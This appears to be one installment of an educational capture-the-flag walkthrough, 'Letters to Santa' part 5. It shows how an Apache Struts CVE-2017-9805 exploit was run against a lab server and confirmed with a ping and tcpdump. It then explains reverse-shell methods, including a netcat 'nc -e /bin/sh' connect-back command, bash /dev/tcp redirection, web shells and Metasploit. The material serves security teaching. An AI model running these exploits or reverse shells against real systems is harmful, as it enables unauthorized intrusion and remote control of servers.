

Letters to Santa--a real world attack

Part 5, the Attack Gets Serious

In Part 4, you should have been able to get Letters to Santa to ping your AWS instance. The Python script that exploits the Apache Struts vulnerability doesn't return data from the target, so we made the target do something that we could detect: ping our AWS instance (also called a Virtual Private Server, or VPS.) The script, `cve-2017-9805.py`, came from the GitHub page mentioned in the SANS Penetration Testing blog.

```
[john@localhost ~]$ ./cve-2017-9805.py -h
usage: cve-2017-9805.py [-h] [-u URL] -c COMMAND

optional arguments:
  -h, --help  show this help message and exit
  -u URL      url of target vulnerable apache struts server. Ex-
              http://somevulnstrutsserver.com/orders.xhtml
  -c COMMAND  command to execute against the target. Ex - /usr/bin/whoami
[john@localhost ~]$ ./cve-2017-9805.py -u https://dev.northpolechristmastown.com
/orders.xhtml -c "ping -c 4 ec2-34-230-53-14.compute-1.amazonaws.com"
[+] Encoding Command
[+] Building XML object
[+] Placing command in XML object
[+] Converting Back to String
[+] Making Post Request with our payload
[+] Payload executed
```

It ran, but did it do anything? The AWS VPS shows us the results. (We started `tcpdump` *before* we executed the exploit code above.)

```
[ec2-user@ip-172-31-37-34 ~]$ sudo tcpdump -nni eth0 'icmp'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
20:16:36.415140 IP 35.196.115.140 > 172.31.37.34: ICMP echo request, id 28668, s
eq 1, length 64
20:16:36.415169 IP 172.31.37.34 > 35.196.115.140: ICMP echo reply, id 28668, seq
1, length 64
20:16:37.416788 IP 35.196.115.140 > 172.31.37.34: ICMP echo request, id 28668, s
eq 2, length 64
20:16:37.416811 IP 172.31.37.34 > 35.196.115.140: ICMP echo reply, id 28668, seq
2, length 64
20:16:38.418248 IP 35.196.115.140 > 172.31.37.34: ICMP echo request, id 28668, s
eq 3, length 64
20:16:38.418289 IP 172.31.37.34 > 35.196.115.140: ICMP echo reply, id 28668, seq
3, length 64
20:16:39.419949 IP 35.196.115.140 > 172.31.37.34: ICMP echo request, id 28668, s
eq 4, length 64
20:16:39.419971 IP 172.31.37.34 > 35.196.115.140: ICMP echo reply, id 28668, seq
4, length 64
```

Yes! The dev server is vulnerable to CVE-2017-9805.

The Attack Continues--Reverse Shell

In penetration testing jargon, a “reverse” shell happens when we force the target to connect back to the attacker with a shell. Reverse shells are desirable because many organizations block incoming traffic to their servers (other than ports 80/443 for a web server, for example), but not outbound traffic. If we force the target to listen on a port that’s not already in use, the firewall will block our attempts to connect to it. If we force the target to connect to us, it will succeed if the organization does not do egress filtering (block unexpected outbound traffic.)

The Easy Way--Netcat

It is unwise to install Netcat on a server since it can be abused (as we are about to do.) However, maybe Alabaster has not been careful. A good Netcat cheat sheet is available [here](#). You may have to install Netcat on your VPS (`yum install nc`).

There are two steps we need to follow to create a reverse shell.

- 1) Start a listener on an IP address and port number that the target can access. The IP address must be a private address, so we’ll run the listener on our VPS (Virtual Private Server, in our case our AWS instance.) The port number should be above 1024. Remember that in Linux it takes root access to listen on a port below 1024. The syntax is:
`nc -lv <port>` **Note:** different versions of Netcat have different syntax. In some versions, you have to put the `-p` option before port number. The `-l` option tells netcat to listen, and the `-v` option gives verbose output so you can see what it is doing.
- 2) Run a command on the server that causes it to connect to our listener and give us shell. There is a handy list of methods [here](#), which give us the netcat syntax:
`nc -e /bin/sh <VPS IP address or domain name> <port>`. Note that it also says that netcat should not be installed, and if it is, the version that allows command execution (`-e`) should not be installed.

Remember to allow the port number you use on your Netcat listener through the firewall on your VPS before you start! It would be wise to test your listener before you start the attack. Start the listener, and then use Netcat on your workstation to connect to it.

```
nc <VPS IP address or domain name> <port>
```

Another Way--Bash

Remember that everything in Linux is represented as a file, including network connections. A connection can be represented in file format as `/dev/tcp/<IP address>/<port>`. Clever use of redirection may allow an attacker to create a reverse shell. You can find an excellent [explanation here](#). A securely configured server should not allow this either, but it is often missed.

Sparkle Redberry’s Way--Web Shell

This is where Sparkle’s Hints 3, 4, and 5 lead you. The shell she proposes in Hint 4 is simple and effective, but there is a “gotcha” that caught me, and many of the participants in the original contest. From your reconnaissance, you should have determined that `l2s.northpolechristmastown.com` is an Nginx server and that `dev.northpolechristmastown.com` is an Apache Struts server. Apache Struts runs JavaScript and `.jsp` pages. Nginx can run PHP, and its web root is usually in the same place as a standard

Apache server. Both dev and I2s have the same IP address. In fact, they could be on the same box! The gotcha that caught many of us was that we used the Struts vulnerability on dev to upload PHP pages, but we didn't think to check for results on the server that can run PHP. (That's a hint.) This method is a little more complex than the simple Netcat or BASH attacks. It has advantages, since it does not involve the server sending outbound traffic on strange ports, and it does not require a VPS listener.

Yet Another Way--Metasploit

In this method, you use MSF Venom to create a small payload that you upload to the target. You create a listener using a Metasploit handler. The payload connects back to the handler and establishes a powerful Meterpreter shell. The shell will run with the rights generated by the exploit. For web sites, this is usually the user that the web site runs under--hopefully not root! [This blog](#) shows you how to do it. If you don't have a public IP address, you will have to install Metasploit on your VPS, or create a new instance based on the [Kali image](#). I won't cover this one in the solutions, although it is the method many attackers would use.

Questions Part 5

- 1) Use one or more of the methods above to obtain reverse shell on the dev.northpolechristmastown.com server. What methods were you able to get to work?
- 2) Turn in screen shots of your commands and the shell.